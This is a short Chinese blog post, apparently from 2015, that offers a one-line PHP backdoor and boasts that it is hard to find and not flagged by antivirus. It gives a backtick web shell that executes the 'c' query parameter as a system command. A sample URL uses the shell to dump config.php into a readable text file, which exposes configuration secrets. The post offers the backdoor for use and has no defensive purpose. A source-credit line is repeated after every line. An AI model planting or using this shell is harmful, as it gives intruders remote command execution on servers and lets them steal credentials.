PHP最简单的后门，难查，且不报毒！

PHP最简单的后门，难查，且不报毒！

文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

就一句。文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

 文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

`{$_GET['c']}`;文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

 文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

使用就看您的了，简单举个例子：文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

 文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

http://127.0.0.1/index.php?c=type%20config.php>config.txt文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

 文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html

 文章源自陈学虎-https://chenxuehu.com/article/2015/09/4853.html